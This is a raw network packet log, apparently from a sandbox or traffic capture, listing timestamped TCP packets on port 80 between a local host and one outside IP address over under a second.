Oct 30, 2024 02:27:36.498323917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.498341084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.498372078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.537938118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.537951946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.537962914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.537975073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.538029909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.538100004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.538145065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.538157940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.538168907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.538238049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612298012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612318993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612329960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612365961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612379074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612473965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612484932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612494946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612504959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612515926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612517118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612543106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612567902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612771034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612782955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612792969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612802982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612814903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612822056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612828016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612842083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612868071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.612910032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612920046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.612962008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613008976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613018990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613038063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613056898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613073111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613086939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613097906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613107920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613126040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613138914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613171101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613183975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613296986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613308907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613321066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613332033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613353014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613368988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613440990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613451958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613461971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613471985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613497019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613509893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613607883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613619089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613630056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613655090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613655090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613676071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613703966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613817930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613828897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613840103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613863945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613866091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613884926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613887072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.613909960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.613936901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614072084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614083052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614093065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614103079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614114046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614125013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614135027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614152908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614170074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614351988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614363909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614375114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614387035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614399910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614409924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614409924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614443064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614592075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614603043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614613056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614624023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614634037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614645958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614651918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614651918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614665985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614672899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614692926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614706993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.614898920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614911079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614922047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.614962101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615050077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615061998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615072012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615098000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615118027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615214109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615225077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615236044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615247011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615259886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615259886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615272045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615272999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615308046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615340948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615515947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615528107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615539074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615550041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615561962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615578890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615586996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615591049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615602970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615613937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615613937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615618944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615631104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615637064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615642071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615654945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.615658045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615684032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.615691900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655563116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655575037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655585051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655621052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655627966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655638933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655646086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655675888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655716896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655728102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655738115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655760050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655771971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.655937910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.655982971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.729641914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729723930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.729728937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729738951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729752064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729763031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729773998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729777098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.729808092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.729834080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.729909897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729923010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729933023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.729960918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730012894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730025053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730042934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730062008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730115891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730125904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730135918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730144978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730159044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730181932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730211020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730253935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730353117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730364084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730375051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730385065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730396986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730397940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730420113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730432034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730556011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730567932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730577946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730603933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730616093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730643988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730655909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730664968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730678082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730688095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730721951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730840921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730884075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730890989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730895996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730906010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730917931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730927944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730928898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.730938911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.730978012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731198072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731209040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731219053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731220961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731245041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731266022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731323004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731333971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731343985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731357098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731369019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731394053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731483936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731494904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731504917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731519938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731532097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731532097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731544018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731545925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731555939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731568098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731578112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731605053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731767893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731812954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731884956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731894970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731904030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731914043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.731930017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.731956005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732309103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732320070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732327938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732337952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732347965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732355118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732357025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732366085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732368946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732395887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732420921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732434034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732444048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732453108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732462883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732472897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732474089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732485056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732497931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732505083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732528925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732762098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732772112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732781887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732790947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732800961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732810020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732814074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.732831001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732841969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.732863903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733022928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733032942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733041048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733051062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733062029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733067036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733074903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733091116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733102083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733282089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733290911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733300924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733313084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733329058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733342886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733351946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733362913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733371019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733380079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.733393908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733400106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.733426094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.772927046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.772949934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.772969007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773001909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773006916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773014069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773032904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773050070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773052931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773071051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773087978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773099899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773109913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773119926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773145914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773159981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773221016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773261070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773262024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773271084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.773296118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.773308039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847244978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847255945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847265005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847296953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847301960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847309113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847333908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847347975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847368956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847379923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847407103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847449064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847493887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847522974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847532988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847541094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847551107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847559929 CET	49760	80	192.168.2.4	185.215.113.206
